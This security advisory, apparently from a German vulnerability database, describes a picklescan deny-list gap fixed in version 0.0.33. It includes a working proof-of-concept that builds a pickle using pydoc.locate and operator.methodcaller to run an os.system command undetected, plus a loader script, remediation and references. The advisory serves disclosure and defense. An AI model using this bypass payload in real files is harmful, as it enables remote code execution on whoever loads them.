Picklescan has Incomplete List of Disallowed Inputs
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.33 | 0.0.33 |
Verweise
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q
- https://nvd.nist.gov/vuln/detail/CVE-2025-71320
- https://github.com/mmaitre314/picklescan/pull/53
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-84r2-jw7c-4r5q
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Schwäche (CWE)
CWE-184- Plattform
- Python (PyPI)
- Paket
picklescan- Veröffentlicht
- 29.12.2025
- Aktualisiert
- 11.10.2026 13:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-1785 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-84r2-jw7c-4r5q - CC BY 4.0
Schwachstellenhistorie: picklescan
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 58
- Erste → letzte
- 02.2025 03.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 7
- Hoch 25
- Mittel 26
Veröffentlichungen pro Jahr
- 2025: 51
- 2026: 7
-
Picklescan has Incomplete List of Disallowed Inputs dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.